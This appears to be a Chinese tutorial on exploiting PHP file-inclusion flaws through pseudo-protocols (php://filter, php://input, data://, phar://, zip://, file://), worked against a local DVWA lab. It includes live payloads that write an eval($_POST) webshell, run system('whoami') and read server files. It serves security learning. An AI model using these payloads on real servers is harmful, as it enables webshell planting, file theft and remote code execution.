文件包含伪协议
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。
常见文件包含函数:
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.
常见的伪协议:
php:// — 访问各个输入/输出流(I/O streams)
data:// — 数据(RFC 2397)
file:// — 访问本地文件系统
zlib:// — 压缩流
phar:// — PHP 归档
php://input(接收POST提交过来的值)
利用条件:
- allow_url_fopen=on
- allow_url_include=on
- php版本小于等于5.3.0
利用方式:
执行phpinfo();
getshell
php://filter
利用条件:
- allow_url_fopen=on
- allow_url_include没有要求
利用方式:
php://filter/read=convert.base64-encode/resource=./robots.txt
读取目标服务器文件内容,并讲这些内容进行base64编码,我们只需要解码就可以了。
data:text/plain
利用条件:
- allow_url_fopen=ON
- allow_url_include=ON
- php版本大于5.2
利用方式:
data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system("whoami");?>
data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
who am i 显示的是实际用户的用户名,即用户登陆的时候的用户ID。此命令相当于who -m。
whoami 显示的是有效用户ID,当前“操作用户”的用户名。
fputs(file,string,length)
fputs() 函数将内容写入一个打开的文件中。
函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。
如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
fputs() 函数是 fwrite() 函数的别名。
file | 必需。规定要写入的打开文件。 |
---|---|
string | 必需。规定要写入打开文件的字符串。 |
实例
<?php $file = fopen("test.txt","w"); echo fputs($file,"Hello World. Testing!"); fclose($file); ?>输出:21
题目
执行命令:
getshell:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
查看目录,shell写入成功:
data:text/plain;base64,
利用方式
同data:text/plain,但是需要进行base64编码和url编码。
题目
1,使用了**data:text/plain;base64,**但是没有进行base64加密,所以报错
2,进行第一次base64加密之后产生的加号+导致了报错
3,对加号进行url进行编码
命令执行:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
phar://
phar://[压缩文件路径]/[压缩文件内的子文件名]
利用条件:
php版本大于等于5.3.0
利用方式:
利用思路:将一句话木马添加到压缩包2.zip中,然后将2.zip上传到目标服务器上。
使用:page=phar://2.zip/2.php
file:
利用条件:
对allow_url_fopen和allow_url_include不做要求
利用方式:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://E:%5Cphpstudy_pro%5CWWW%5CDVWA%5Cvulnerabilities%5Cfi%5Cshy.txt
zip//
zip://[压缩文件路径]#[压缩文件内的子文件名]
利用思路
将一句话木马添加到压缩包1.zip中,然后将1.zip重命名成1.jpg上传到目标服务器上。
利用方式
zip://1.jpg%231.php 执行一句话木马
php 执行一句话木马